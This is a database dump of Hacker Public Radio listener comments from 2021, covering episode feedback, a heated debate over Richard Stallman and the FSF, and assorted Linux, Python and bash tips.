(3137,3311,'2021-04-13 07:53:02','Ken Fallon','Long history of supporting anonymous posts','Hi brian-in-ohio,\r\n\r\nThe only requirement for posting to HPR is that the show is \"of interest to Hackers\". (And isn\'t spam, and meets the licensing terms). There is no requirement to be personally identified on HPR.\r\n\r\nWhile some contributors like myself use their real names, others like yourself use handles instead. I\'m sure most of those who use handles do not do so to hide their identity - but some might. \r\n\r\nIt\'s a moot point anyway because we know Bradley M. Kuhn was the author of the show. We don\'t know who posted it, but I don\'t particularly care. They could have posted the show under a fake user name and we would never know. There are quite a lot of shows posted that were controversial at the time, and were submitted by a host that never posted again. \r\n\r\nI feel that posting under the Anonymous username is more honest. It alerts the HPR community to the lack of implicit trust that comes with a (fake) real name. (It also means less work for the janitors as we don\'t need to create new users :-) )\r\n\r\nIn any event, Hacker Public Radio has long supported, and will continue to support anonymous posts, comments and other forms of interactions. We do this for many reasons, not least of which is that freedom of speech is not always without cost. \r\n\r\nKen.','2021-04-13 19:36:33'),
(3138,3296,'2021-04-13 09:40:49','rtsn','nice','Very interesting episode. I didn\'t know about this technique. I guess there is an irony in that by publishing this spam bot makers might eventually get around to implementing ways to defeat this in the long run.\r\n\r\nI would love a followup episode on this, how it worked out over time and such.\r\n\r\nKeep up the good fight and thanks for a good episode.','2021-04-13 19:36:33'),
(3139,3311,'2021-04-13 20:50:23','Reto','RMS','Hi,\r\n\r\nFirst of all this TTS (text to speech) voice is terrible I can hardly understand it, the one used by HPR is much better.\r\n\r\nSecondly, if I hear some information where I get the impression it is totally on one side, I want to hear the other side in order to build my opinon.\r\nTook me 20 minutes to find it, the other side, looks like the internet tries to hide it: https://debian.community/molly-de-blanc-arrest-and-prosecution-for-cyberbullying/\r\n\r\nHave you seen the episode of \"The Orville\" where your reputation and punishment is based on public opinion rather than from a court?  It was scary! \r\nWhile this was fiction, does it now become reality and do you support this?\r\n\r\nJust some thoughts on what is going on here.','2021-04-14 15:58:02'),
(3140,3311,'2021-04-14 16:02:00','Ken Fallon','Interview with RMS/FSF ?','Hi Reto,\r\n\r\nThe TTS (text to speech) engine used is espeak, and is available on many linux distros. It is relied upon by thousands with visual impairments, and those with reading disabilities - myself included. You must be new to HPR as we have been using espeak for years, and were only recently able to negotiate a contract with Lyn (text2wave/festival) after her noncompete-agreements from the lottalinuxlinks.com podcast expired ;-).\r\n\r\nUnfortunately the site you posted left me wanting when it came to hearing the other side of the story. But as you say it can be difficult to find accurate information on the Internet, especially one that is reliable and trustworthy. I would always suggest to go to the source of truth first. In this case it\'s best to start with Richard Stallman and the Free Software Foundation (FSF) itself. Sure enough on the main FSF page there are two articles \"Statement of FSF board on election of Richard Stallman\"[1] and another \"RMS addresses the free software community\"[2]\r\n\r\nWe have interviewed RMS on episode hpr0271[3] and hpr1116[4], so it would be great to get him on again to discuss this. Can you reach out to him and/or the FSF to see if they would be interested in recording another interview ? Be sure to mention we only use Free Software for the recording [5], and that we can release it under the CC-BY-NC-SA[6] if desired. I think the whole \"not release in mp3\" thing is no longer a problem, but if it is we can deal with that as well.\r\n\r\nIn the meantime I will put together a similar show to this using their statements, and post it as a counter point show.','2021-04-14 20:58:51'),
(3141,3311,'2021-04-14 16:02:12','Ken Fallon','Interview with RMS/FSF ? - links','- [1] https://www.fsf.org/news/statement-of-fsf-board-on-election-of-richard-stallman\r\n- [2] https://www.fsf.org/news/rms-addresses-the-free-software-community\r\n- [3] https://hackerpublicradio.org/eps.php?id=0271 hpr0271 :: Stallman on Free Beer\r\n- [4] https://hackerpublicradio.org/eps.php?id=1116 hpr1116 :: Interview with Richard Stallman\r\n- [5] https://hackerpublicradio.org/recording.php#round_table\r\n-','2022-02-14 13:25:16'),
(3142,3311,'2021-04-14 22:15:31','Beeza','Richard Stallman','Few of us are so synomymous with the organisation we work for that any controversial remarks we make in public are likely to do lasting damage to the reputation of said organisation - especially if we were to subsequently resign and remain silent afterwards. That is not the case with RMS with regards to the FSF. He will forever be associated with the free software movement and, by implication, the FSF.\r\n\r\nOn that basis engineering his resignation on the strength of his comments on social and political issues did nothing to protect the reputation of the free software movement. All it achieved was to salve the consciences of the other FSF board members. How damaged was the free software movement anyway?\r\n\r\nMost people outside the FLOSS world have never heard of RMS so his sometimes distasteful, but sometimes thought-provoking views would have no bearing on their decisions to adopt open source software.\r\n\r\nPeople in the FLOSS world know RMS for his eccentricities, along with his visionary genius. I suspect that while many publicly feign shock at his outbursts, for most it is just \"RMS being RMS\" followed by an attempt to get any images conjured up by some of his ideas out of their heads.\r\n\r\nIf the FSF fundamentally stands for anything it is freedom, so to sideline somebody for exercising their right to personal opinions and free speech seems a bit incongruous. Given that getting rid of RMS was never going to distance the FSF from him, they would have been better to have taken the view - even in the form of public statements if necessary - that other FSF board members abhor some of his views on non-technical matters but totally support his right to hold and express those views. In these days of \"cancel culture\" when people are dismissed from jobs or prevented from speaking in public for fear of what they might say it would have been a refreshing change to see an organisation defending the right to free speech instead of just taking the path of least resistance.','2021-04-15 19:55:49'),
(3143,3311,'2021-04-16 01:10:58','Torao','Stallman','Nobody is saying Stallman can\'t say having \"consensual\" sex with a 12 year old doesn\'t harm the kid. But nobody who isn\'t actually brain damaged should defend it nor is anybody actually forced to associate with him because of \"free speech\". It doesn\'t violate any free speech value to say you can believe whatever despicable things you want, you can advocate for any despicable thing you want, but nobody else is obligated to support you or be allied with you. It\'s not cancel culture. It\'s being responsible for the ignorance he spews culture. \r\n\r\nAs for how the FSF is damaged for it, look at how many organizations have pulled their support. Nobody is bigger than an organization unless the organization allows itself to be subsumed to a cult of personality. It rarely works out well. Part of the reason that the FSF is useless is because they have allowed themselves to be so beholden to a useless repugnant toad like Stallman who pushes a majority of people away. If you want an idea to grow, it helps not to be led by somebody who intentionally spews reprehensible nonsense that pushes everybody else away. Stallman is a toxic excuse for a human being. You want Floss to have a chance to grow? Don\'t let it be led by a guy who intentionally says things that are considered morally repugnant by the majority of the public.','2021-04-16 20:23:04'),
(3144,3301,'2021-04-17 09:30:34','Aaronb','Have you seen xkcd about Kerbal','Very Clever\r\nhttps://xkcd.com/1356/','2021-04-17 19:51:13'),
(3145,3311,'2021-04-19 19:45:40','Cfish','The responsibility of leadership','I have been a a GNU/Linux user for around 2.5 year now and I have been a fan of RMS for much of that time.  I have heard about people thinking Stallman is kind of weird, but chalked it up to differences in political opinion, or his refusal to meet people where they are.  This is my first time hearing about some of his gross opinions.\r\nAs a leader in the free software movement, he should NOT be turning people away with these opinions.  To be perfectly clear, I stand with the survivors of sexual assault, and I stand with anyone who has put their trust in the supervision of an adult who would betray that trust for sexual gratification.\r\nThe GNU/Linux community is a better place when we treat each other respectfully and with compassion.  We don\'t need any one person in our community as much as we need the community itself.','2021-04-20 19:02:51'),
(3146,3317,'2021-04-20 14:34:34','Cfish','Great show','Thanks for this.  I knew there were people in FOSS who felt the way I do, but this is the first I am hearing about a public declaration.','2021-04-20 19:02:52'),
(3147,3318,'2021-04-21 12:49:23','Ken Fallon','sdcard and a usbstick','What threw me for a loop was that there is a sdcard - vfat that goes into the front. Then there is a usbstick that goes into the back. \r\n\r\nOther than that worked as described.','2021-04-21 22:06:54'),
(3148,3318,'2021-04-21 23:29:15','archer72','Re: sdcard and a usbstick','Good to know this worked for you as well.  I think original youtube post was meant for backup of a ton of games.   In most cases, this will not be needed because the games don\'t take much room anyways.','2021-04-22 21:00:59'),
(3149,3317,'2021-04-22 15:53:58','Kevin O\'Brien','Fantastic show!!!','My great thanks to Clacke for posting this. I think this manifesto is a great contribution to the discussion of free software. If free software is not respecting of people, what good is it?','2021-04-22 21:00:59'),
(3150,3319,'2021-04-23 12:30:36','Ken Fallon','AI is misleading AP would be better','I always thought that artificial intelligence is misleading. Artificial programming would better describe what\'s going on.','2021-04-23 20:19:27'),
(3151,3321,'2021-04-26 12:39:59','Thaj','Mission accomplished','The Urandom Podcast, spawning HPR episodes and shameless promotion simultaneously since 2021.  Seriously though, great job.  I have a MUCH better understanding of DNS66 after listening to this.  Good job.','2021-04-26 19:15:38'),
(3152,3320,'2021-04-26 19:04:20','Aaronb','Listening to Twit podcasts','How I listen to the Twit network podcasts. Many MP3 players and podcast apps on your phone have us sleep timer.\r\nGetting a easy chair, lean it all way back. Cover up nice and cozy. Turn your volume down just until just before you can not understand what they\'re talking about. Set the sleep timer for about 12 minutes. My podcasting app will turn the volume down even more the last 30 seconds so it\'s not an abrupt shut off. Now you\'re ready for the best nap you\'ve had in a long time. My MP3 player is an old moto E3.','2021-04-26 19:15:38'),
(3153,3317,'2021-04-28 18:23:14','clacke','A season for manifestos','There has been a lot of bubbling out there in the free software world since a decade or more and it\'s recently coming to the surface. I have two more of these readings coming out as soon as I have put together the background material.\r\n\r\nSneak peek:\r\n - https://techautonomy.org/ (2020)\r\n - https://opensourcedesign.net/manifesto/ (2014)','2021-04-28 19:12:25'),
(3154,3317,'2021-04-29 14:16:12','Kevin O\'Brien','Keep it up','Glad to hear it, clacke. I look forward to your shows.','2021-04-29 21:05:52'),
(3155,3324,'2021-04-29 21:04:14','Xoke','GRRRRR!','Well now I have to do a reply episode on my favourite infosec podcasts...','2021-04-29 21:05:52'),
(3156,3324,'2021-05-01 14:59:49','Kevin O\'Brien','Really liked the show','It is great to hear about the podcasts you follow. I recognize many of them as shows I used to follow, though frankly since I retired I have been putting my energy into other matters. I\'m turning 70 in a few months and have other priorities now.','2021-05-01 18:41:13'),
(3157,3317,'2021-05-01 15:43:06','Aaron C','Raises an excellent point','I\'m just commenting to say that this manifesto and subsequent show makes an excellent point. The free software community as it stands has good and as discussed well guarded principles with no compromise. While this is admirable it is also what is killing the movement. \r\n\r\nLike language all movements must eventually morph or evolve over time or they die off, it is completely acceptable to maintain a core set of tenets of course, but having a figurehead who uses the internet in bizarre and arcane ways makes free software like more a paranoid nest of conspiracy theorists than it does to make technological progress by freeing the user from the constraints of mega corporations. \r\n\r\nFree software is inevitably political but the mocking and jeering of people who still use proprietary software scared off companies and created the open source movement, which if anything made it easier for mega corporations to profit off of the collectivised free labour of programmers who cared enough to donate their time.\r\n\r\nTo me the free software stalwarts were the progenitors of their own worst enemy, which is open source. They allowed it to happen themselves and fostered the likes of Google and Facebook. The FSF concentrates too much on acting like a single-state communist party with it\'s attention focused on creating a cult of personality around Stallman. \r\n\r\nI agree the roots of the movement today should reflect more social needs, creating software for the good of the people even if that makes software socialist.','2021-05-01 18:41:13'),
(3158,3297,'2021-05-02 12:48:18','ychaouche','safe ?','What if an updated app isn\'t compatible with current nextcloud version ?','2021-05-02 18:47:20'),
(3159,3328,'2021-05-05 19:49:39','b-yeezi','Another great show','Thanks for another great show. I look forward to your next one.\r\n\r\nAs to your use of `pd.apply` in lieu of `np.select`, here\'s my 2 cents:\r\n\r\nApply is more readable in most cases, but select is more performant. When performance matters, or when the dataset is very large, you might want to use `np.select`. For instance, when using `np.select` on your example here, the output was 10x faster on my PC.\r\n\r\n```\r\n%timeit df.apply(Scorelevel, axis=1)\r\n\r\n448 &micro;s &plusmn; 2.88 &micro;s per loop (mean &plusmn; std. dev. of 7 runs, 1000 loops each)\r\n```\r\n\r\n```\r\n%timeit np.select(cond_list, choice_list, default=\'Require Activation\')\r\n\r\n55.6 &micro;s &plusmn; 440 ns per loop (mean &plusmn; std. dev. of 7 runs, 10000 loops each)\r\n```\r\n\r\nIn many cases, the readability can trump the need for speed, but just wanted to give a counter-point.','2021-05-05 19:59:08'),
(3160,3328,'2021-05-05 19:58:07','b-yeezi','One more speed gain','If you really want to fly, you can turn the pandas series to numpy arrays first. For you example, it got twice as 2x faster than regular `np.select`.\r\n\r\nExample:\r\n```\r\ncond_list = [df[\'Score\'].values &gt;= 9,\r\n((df[\'Score\'].values &gt;= 8) &amp; (df[\'Score\'].values &lt; 9)),\r\n((df[\'Score\'].values &gt;= 7) &amp; (df[\'Score\'].values &lt; 8)),\r\n((df[\'Score\'].values &gt;= 6) &amp; (df[\'Score\'].values &lt; 7)),\r\n((df[\'Score\'].values &gt;= 5) &amp; (df[\'Score\'].values &lt; 6)),\r\n((df[\'Score\'].values &gt;= 4) &amp; (df[\'Score\'].values &lt; 5))]\r\n\r\n%timeit np.select(cond_list, choice_list, default=\'Require Activation\')\r\n23.5 &micro;s &plusmn; 1.74 &micro;s per loop (mean &plusmn; std. dev. of 7 runs, 10000 loops each)\r\n```','2021-05-05 19:59:08'),
(3161,3331,'2021-05-10 18:09:31','Trey','Great episode.  Thanks for the advice.','Looking forward to the next episodes in this series.','2021-05-10 19:31:54'),
(3162,3336,'2021-05-11 21:01:56','Honkeymagoo','Thanking','I would like to thank Dave Morris for fixing the show notes.\r\n\r\nThanks Dave','2021-05-11 21:07:00'),
(3163,3342,'2021-05-11 21:04:27','Honkeymagoo','Thanking','I would like to thank kwisher for running the stream for the new years show.\r\n\r\n\r\nThanks','2021-05-11 21:07:00'),
(3164,3346,'2021-05-11 21:06:53','Honkeymagoo','Thanking','I would like to thank Ken Fallon for his job recording this podcast. It was because of his fine recording of the stream that this podcast happened. \r\n\r\nThank you','2021-05-11 21:09:35'),
(3165,3352,'2021-05-11 21:10:03','Honkeymagoo','Thanking','I would like to thank the entire hacker public radio community for participating in the new years show.\r\n\r\nThanks','2021-05-11 21:12:48'),
(3166,3356,'2021-05-11 21:13:59','Honkeymagoo','Thanking','I would like to thank Dan from tllts for playing the promo for the new years show in the tllts podcast.\r\n\r\nThank you','2021-05-11 21:36:50'),
(3167,3361,'2021-05-11 21:15:42','Honkeymagoo','Thanking','I would like to thank the members of the urandom podcast for having me and kwisher on to promote the new years show. \r\n\r\n\r\nThank you','2021-05-11 21:36:50'),
(3168,3366,'2021-05-11 21:18:45','Honkeymagoo','Thanking','I would like to thank Pokey for coming up with the idea for the new years show. Without this show I don\'t think I would have ever had the courage to start podcasting\r\n\r\nThank you','2021-05-11 21:36:51'),
(3169,3372,'2021-05-11 21:22:07','Honkeymagoo','Thanking','I would like to thank everyone who joined in the podcast. Without people coming on and talking there would be no podcast. \r\n\r\nThank you, and I look forward to talking to everyone again next new years','2021-05-11 21:36:51'),
(3170,3337,'2021-05-18 12:49:32','mpardo','mpardohpr@gmail.com','It is the most enjoyable article that I have ever read (with the possible exception of those that might have been more enjoyable).\r\n\r\nAn excellent dramatic reading as well.\r\n\r\n\r\nCheers!','2021-05-18 19:08:44'),
(3171,2499,'2021-05-19 14:29:18','Dave (thelovebug)','Coming to this late, but wow!','Having just joined the ranks of Amateur Radio users, it made sense for me to look for HPR episodes relating to Amateur Radio.\r\n\r\nI loved this episode, very interesting listening to conversations on the 40m band... real hard-core users on 7MHz!\r\n\r\nI did notice that the German station DF2BO wasn\'t using the NATO Phonetic Alphabet, is this a common occurrence?','2021-05-19 19:31:25'),
(3172,2499,'2021-05-29 17:22:56','MrX','Re: Coming to this late, but wow!','Hi Dave sorry for taking a bit of time to reply. I noticed the comment flag up in my RSS reader and then promptly forgot all about it as things have been crazy busy here. I only remembered thanks to a gentle prod by Dave Morriss. \r\n\r\nGlad you enjoyed the show. By coincidence I turned my HF set on just last week something I hadn&rsquo;t done for a good long while. I must admit to being a bit rusty with the latest rules and regulations but I seem to remember that certainly here in the UK you are encouraged to use the NATO Phonetic Alphabet. I&rsquo;ve certainly heard various stations using different Phonetics. Perhaps they think it&rsquo;s easier to hear under noisy conditions or perhaps they just like the sound of it. Personally I just stick with the NATO Phonetic Alphabet.\r\n\r\nDave mentioned you recently became an Amateur, so many congratulations. I&rsquo;m sure you&rsquo;ll have lots of fun with the hobby as there are so many directions it can take you.\r\n\r\nAll the best\r\n\r\nMrX','2021-05-29 18:02:26'),
(3173,3348,'2021-06-02 05:24:23','HawkinsTheWizard','hpr3348 feedback','I have been wanting to comment about this for some time.\r\nThe quality of the audio is somewhat important but not a qualifier.\r\nBut what I at least WANT is the level of volume to be normalised at 95%.  Its hard to hear in a noisy environment like a car or places with background noise.\r\nThis is easy for a submitted sample.  Run all input/submits through a normaliser/compressor.\r\nVolume checks in mumble/radio should also normalise.','2021-06-02 21:45:26'),
(3174,3348,'2021-06-02 14:22:04','Dave Morriss','I was trying to remember \"This American Life\"','Listening to this I have remembered what I was complaining about in the show. I was referring to podcasts (and presumably radio shows) like \"This American Life\" which \"interview\" people but \"translate\" what they are saying over the top of them.\r\n\r\nThis is a \"style\" that many broadcasters seem to have adopted. Many of the BBC podcasts I have stopped listening to do this too. I find it distracting and insulting to the interviewee. It seems to be an example of media people reinterpreting what experts are saying in many cases, and we know how much misinformation comes from this practice. \r\n\r\nIf this is \"professional\" I don\'t want to have anything to do with it!','2021-06-02 21:45:26'),
(3175,3343,'2021-06-02 17:42:34','cagey','My experience with Forth (at SAO)','Interesting show!  I was a grad student in Arizona working with the gamma-ray group at SAO\'s Whipple Observatory (just south of Tucson). My first task was to develop a tracking system for the 10m Atmospheric Cherenkov Telescope. We used Forth running on a Z-80 daughter board hosted by an Apple II. This same hardware was used to control a 24\" telescope. That system was developed by a fellow who had worked for SAO\'s Satellite Tracking Program. In fact, several other staff members at Whipple had traveled the planet installing, operating and maintaining the Baker-Nunn cameras used to photograph satellites and determine their orbital elements.\r\n\r\nThe amusing thing is that a couple of years after I graduated they replaced the Apple II with a PC and tried to reverse engineer the Forth code. Given that the tracking code wasn\'t all that complicated this was sheer insanity. My experience with Forth is that even your own code became rapidly inscrutable. Probably a reflection of my coding acumen at the time rather than Forth intself.','2021-06-02 21:45:26'),
(3176,3345,'2021-06-02 23:27:48','archer72','Another great episode.','Thanks for continuing this series.  \r\nThe samples of type of equalization were enlightening.\r\n\r\nAlso there are now no crickets (from Urandom oggcast).','2021-06-03 18:18:37'),
(3177,3263,'2021-06-03 22:59:32','archer72','Welcome to HPR','Hi o9l.  A few months late, but welcome.\r\nLife has a way of getting away from us.\r\n\r\nLook forward to your next show, and don\'t\r\nworry too much about how you sound.','2021-06-04 20:43:05'),
(3178,3329,'2021-06-05 15:15:09','Ken Fallon','Who ?','Could you add the names and contact pages for the participants as a comment please.','2021-06-05 18:54:26'),
(3179,3343,'2021-06-06 09:21:20','Dave Morriss','What does SAO stand for?','I did a bit of searching and found that SAO = Smithsonian Astrophysical Observatory\r\n\r\nThere\'s a Wikipedia page at https://en.wikipedia.org/wiki/Smithsonian_Astrophysical_Observatory\r\n\r\nThe comment from cagey is a show all in its own right! I\'d love to hear more about life as a grad student doing this kind of stuff :-)','2021-06-06 18:07:01'),
(3180,3345,'2021-06-08 13:10:37','Trey','Thank you.','While I am still using a headset microphone and planning to get a good dynamic mic soon, I tried to apply some subtle EQ enhancements to tm latest HPR recording, based on your recommendations in this episode.  It is scheduled to air at the end of June (hpr3368).\r\n\r\nKeep up the awesome work!','2021-06-08 19:09:14'),
(3181,3353,'2021-06-09 17:37:35','FXB','Good listening.','Long time linux user, I but can fully sympathise with much of SGOTI\'s experience, seems to be a similar pattern in how many of us learn to use the command line.\r\n\r\nReally well explained though, will make excellent listening for anyone new to the linux command line who finds it \'scary\'.\r\n\r\nGood stuff man, look forward to hearing more.','2021-06-09 21:08:27'),
(3182,3353,'2021-06-09 21:23:15','jezra','Hey, that\'s how I learned!','Wonderful show. It was an absolute delight to hear your command-line adventure. If there is one thing I have learned about the command-line in my years of computing, it is that there is always more to learn about the command-line. :)','2021-06-09 21:26:08'),
(3183,3353,'2021-06-11 01:33:39','Trey','Well done!  Keep up the great work!','I have been using various flavors of *nix since the \'80s, and I am still learning things.  Your detailed and careful explanations are great for a beginner and even interesting to folks like me.\r\n\r\nDon\'t worry about being new.  You are learning methodically and are sharing what you learn with others.  That is ALWAYS to be commended.  Thank you!','2021-06-11 18:43:18'),
(3184,3353,'2021-06-11 09:57:38','archer72','Good to hear this one','Long time linux user, but still learning.\r\nI will definitely go back and listen again.\r\n\r\nTwo packages you might try are nnn and ranger, which are terminal application file managers. They both have good uses, just a different approach and keybindings.\r\n\r\nLook forward hearing more.','2021-06-11 18:43:18'),
(3185,3356,'2021-06-14 22:23:44','Kevin O\'Brien','Nice show, but too long','I do really enjoy hearing the New Year\'s Eve shows, but this one was 282 minutes long! That isi most of the way to 5 hours. I\'d have divided this into 4 shows, each of which would be a bit over an hour.','2021-06-15 18:04:26'),
(3186,3353,'2021-06-16 22:54:39','Some Guy On The Internet','Giving Thanks.','Thank you all for the encouragement and kind words.  I\'ll try to provide more shows on this and other topics.  Has anyone had any issues with the sound quality or volume for the episode?  Just a QA. check.','2021-06-17 18:09:15'),
(3187,3353,'2021-06-19 06:19:12','sesamemucho','Nice','A fine show with good audio, as have been all your shows.\r\n\r\nI enjoyed the clear presentation. Always like hearing different ways to use the command line.\r\n\r\nThanks','2021-06-19 18:47:39'),
(3188,3342,'2021-06-24 15:37:43','crvs','thank you for the reminder','listening to this reminded me that I never actually listened to the interview with ken\'s isp!','2021-06-24 19:36:54'),
(3189,3357,'2021-06-29 12:47:32','bjb','hpr3357 :: My terminal journey, part 02. - feedback/comment','I loved listening to your talk - as a long-time debian-based distro user I learned some things about apt - thank you - plus the recording was well done (good sound levels, clear, no background noise) and you explain things really well.  Thanks!  Having the show notes is an extra nice bonus.','2021-06-29 19:07:57'),
(3190,3353,'2021-06-30 10:16:07','frank','Comments and feedback on your show (part 1)','Hey some guy,\r\n\r\nRegarding your surprise about pwd: I don\'t know the actual history, your assumption of a minimal prompt might be true. However, pwd is also very handy for scripting. Bear in mind that scripts don\'t have a prompt. ;-)\r\n\r\nPretend you are in directory A, and the script is in directory B. So in the terminal you enter B/script to run it. Now within that script, the variable $0 contains that calling string, i.e. B/script. But if you call pwd in that script, it returns A(!). So if you use ./ as path for your dump files, that means that the file will be created at your pwd.\r\n\r\nI often write quick-n-dirty scripts for one-off tasks and they tend to use relative paths for simplicity. In such cases I use the following line at the start of the script:\r\ncd \"$(dirname \"$0\")\"\r\nThis changes the script\'s current directory to where it is actually located. The quotes are there to handle spaces in path names and they are a good habit to acquire. (I\'m kind of a language purist and don\'t like filenames riddled with underscores. I find them hard to read and hard to work with.)','2021-06-30 21:01:23'),
(3191,3353,'2021-06-30 10:16:59','frank','Comments and feedback on your show (part 2)','(I had to split my comment in two parts because I was getting an error if I did it in one post.)\r\n\r\nAbout bash keyboard shortcuts:\r\nIt is not a default setting in most distros, but I think it was in mine when I started with linux, and now I can\'t live without it. It allows to type a few characters and then, with the page up/down keys, page through all history entries that start with those characters you typed.\r\nFor that, put the following into /etc/inputrc or ~/.inputrc:\r\n\"\\e[5~\": history-search-backward\r\n\"\\e[6~\": history-search-forward\r\n\r\nRegarding grep:\r\nThis comes from the g command of the ed editor, IIRC. \"g\" means \"do the following command globally on the file\" (vim has the :g command which does exactly that), \"re\" is the command to run and means \"match with regular expression\", and \"p\" means \"if it matches, simply print the line\".\r\n\r\nPS.: it is unnecessary to touch a file if you write something to it right after (unless you use the result value of touch for error checking).\r\n\r\nHappy vimming.','2021-06-30 21:01:23'),
(3192,3368,'2021-07-01 09:15:23','Porkchop','recommendation','I think that those interested in the shows mentioned may also enjoy \"The Layer 8 Podcast\".  It is made by Layer8Conference and each episode features a different person with OSInt ties or experiences and they share stories and talk about how they got into the field.  It is more entertainment rather than education centered, so someone not familiar with the field can enjoy it and get a better understanding of what OSInt and redteaming are.','2021-07-01 20:15:13'),
(3193,3369,'2021-07-01 21:00:21','Kevin O\'Brien','I loved the show','I found this discussion fascinating. I also noted that Linus had mentioned the possibility of using Rust for the Linux kernel, and that is not something you hear every day. If some talented programmer out in HPR land wanted to do a series on programming in Rust, I think it would be a big hit.','2021-07-01 21:03:50'),
(3194,3371,'2021-07-05 11:46:18','frank','A comment on your comment about my comment','Greetings\r\n\r\nIn my comment on the Terminal Journey part 1 I wrote that I had to split my comment because I got an error when I tried to send it in one piece.\r\n\r\nYour reply in this here installment was that postings are limited in length. But that is *not* the problem I had. Yes, I did reach the limit, and I could type no farther. So I fixed my sentences to shorten the post by a little bit and then clicked on Send. But I got an actual error page. So I cut my text in half and then it submitted just fine. I suspect a bug in the form checker or even the backend.\r\n\r\nI do realise there is enough stuff in my head for several shows. I&rsquo;m working on that concept. :)','2021-07-05 18:03:53'),
(3195,3368,'2021-07-05 14:37:06','Trey','Thanks for the feedback, Porkchop.','Hi Porkchop,\r\n\r\nI will be adding the Layer 8 podcast to my list.  Thanks for the feedback.  \r\n\r\nTrey','2021-07-05 18:03:53'),
(3196,3371,'2021-07-05 14:39:55','Trey','Congrats on joining the Ham community!','Thank you for your positive feedback, and welcome to the Ham Radio community.  Looking forward to your podcasts about it, and now I may need to do some myself.\r\n\r\nTrey','2021-07-05 18:03:53'),
(3197,3371,'2021-07-06 13:41:10','Ken Fallon','Errors in comments','There is a limit on the about of text you can put in this box - endorsed by the maxlength=\"2000\" in HTML. \r\n\r\nThere is also a limit that triggers error \"cd57ab4d7b77a131ed3deb441bd93dcd\" when the server sees that the string length is greater than 2000.\r\n\r\nYou would think that they would be the same, but they are not due to the amount of data required to encode characters. maxlength counts the number of characters, while strlen() is actual data passed. So if you include a \"Smart Quote\" it takes double the space of a normal quote.\r\n\r\n$ echo \'\"\' &gt; double-quote.txt\r\n$ echo \'&ldquo;\' &gt; double-curley-quote.txt\r\n\r\n$ ls -altr double-curley-quote.txt double-quote.txt | awk \'{print $NF, $5}\'\r\ndouble-quote.txt 2\r\ndouble-curley-quote.txt 4\r\n-rw-rw-r--. 1 ken ken 4 Jul  6 15:23 double-curley-quote.txt\r\n-rw-rw-r--. 1 ken ken 2 Jul  6 15:23 double-quote.txt\r\n\r\nFor a good overview on why this is please see \"Characters, Symbols and the Unicode Miracle - Computerphile\" by Tom Scott on https://www.youtube.com/watch?v=MijmeoH9LT4','2021-07-06 19:13:57'),
(3198,3371,'2021-07-06 19:16:53','b-yeezi','Ranger previously on HPR','https://hackerpublicradio.org/eps.php?id=1756\r\n\r\nI think I\'ll record a follow up episode as well.','2021-07-06 19:22:12'),
(3199,3357,'2021-07-08 04:21:52','Some Guy On The Internet','apt-mark hold','Perfect time for:  \r\n```\r\n$ sudo apt-mark hold audacity; sudo apt-mark showhold\r\n```','2021-07-08 19:30:46'),
(3200,3367,'2021-07-11 11:52:28','Jon Kulp','Page numbers','I\'ve been away from HPR for ages but checked back in this morning and found this show about ebooks. Loved it, and thanks for the mentions. The discussion about page numbers prompted me to look into the issue because it\'s something that\'s bugged me for a long time. I was pretty sure there was support for specifying page numbers in the EPUB3 standard, but I\'ve never gotten into the weeds and figured it out. For fiction it doesn\'t really matter, but as you discuss, page numbers from the physical books are still pretty important in academia where we are expected to cite our sources. I took a couple of hours this evening and learned how to embed page numbers, and tomorrow I\'ll record a response episode to share how it works. There\'s good news and bad news involved...','2021-07-11 18:01:52'),
(3201,3377,'2021-07-13 09:43:18','Clinton Roy','Well,','that was..something','2021-07-13 19:21:48'),
(3202,3367,'2021-07-16 13:37:30','dangerseeker','Fonts and LaTeX','Fonts were a problem for LaTeX in the early days, because Mr. Knuth invented his own (high quality) system to describe fonts.\r\nLater (with PDFlatex, I guess) it became possible to use PostScript fonts directly.\r\nBut PS fonts are expensive, and on Windows PostScript fonts were never really used widely.\r\nAnd then Microsoft \"invented\" TrueType fonts... \r\n\r\nWith ubiquitous cheap (and not always high quality) TTFs there was a growing need to use TTF in LaTeX: It seems like pdflatex can make use of fonts in the TTF format, but I have not tried it myself.\r\n\r\nTODAY luatex/lualatex can not only use TTF but also the even newer OTF fonts with very little problems. It works, but ...\r\n\r\nThe goal of (La)TeX was to produce HIGH QUALITY documents, that\'s why the default is EXTREMELY high quality and changing things is hard.\r\nWith Microsoft products it is the rule to produce VERY LOW QUALITY documents and it is easy to change things to \"comic sans\" or worse...\r\n\r\nWell, with luatex I now can take part in the low quality document revolution. ;-)','2021-07-16 19:05:20'),
(3203,3381,'2021-07-21 21:47:15','Jon Kulp','Consultant available','I LOVED this episode! Props to you for learning this as an adult, that\'s really cool. It was wonderful hearing about the sensation of euphoria you felt when you first did various maneuvers. It\'s easy for me to forget when this feels like because it happened so long ago for me. I was a competitive skateboarder on halfpipes in the 80s and have a ton of experience, so if you ever need a human being to talk through any of this with, hit me up. It will be fun for me. \r\n\r\nGlad to hear you will be getting some safety equipment, but you did not mention one of the most important safety items, a pair of wrist guards. Most of the time when people fall they put their hands out to catch themselves, and it\'s very easy to break a wrist this way. Get yourself some good wrist guards because because you\'re going to need your hands.\r\n\r\nHave fun and be safe!','2021-07-21 22:12:47'),
(3204,3381,'2021-07-21 22:12:36','Jon Kulp','Skate Shoes','Forgot to mention: you should not have to pay that much for a decent pair of shoes. A much more affordable option is Converse Chuck Taylor high tops. Those are the shoes I wore until I got my first pair of Vans high tops. The Chuck Taylors have excellent grip on the board, though they don\'t have any ankle padding. If you lace em up nice and tight you get good support against turning your ankle, but they won\'t protect you if your board bangs into your ankle. The Vans high tops are excellent in every respect. I think I got a pair for about $50 several years ago but maybe they cost more now.','2021-07-22 21:05:59'),
(3205,3383,'2021-07-22 01:47:32','Zen_floater2','Why I love OpenBSD','I love OpenBSD because they produce a secure OS.  They also produce the whole OS.  You will never see the lead kernel developer at OpenBSD insert a patch for code which was developed by the NSA into the kernel,,,, THEN,,,  only withdraw that patch after the entire community forces him to do so.....  ...\r\nINTEGRITY,,, SECURITY,,,, CODE CORRECTNESS,,,','2021-07-22 21:06:00'),
(3206,3388,'2021-07-30 12:05:46','Brian-in-ohio','free speech','So free speech is ok unless the FSFE descides its not ok. Except for RMS\'s quircky behaviour he was never accused of doing anything illegal, he was merely excersing his right, endowed by our Creator, of free speech. His only fail was not realizing that the thought police had invaded the FSF. Down with Big Brother.','2021-07-30 20:10:04'),
(3207,3390,'2021-07-30 13:56:17','Brian-in-ohio','great show','Really enjoyed this episode. The mixing of computer and personal history was great. Can\'t wait for the next podcast.','2021-07-30 20:10:05'),
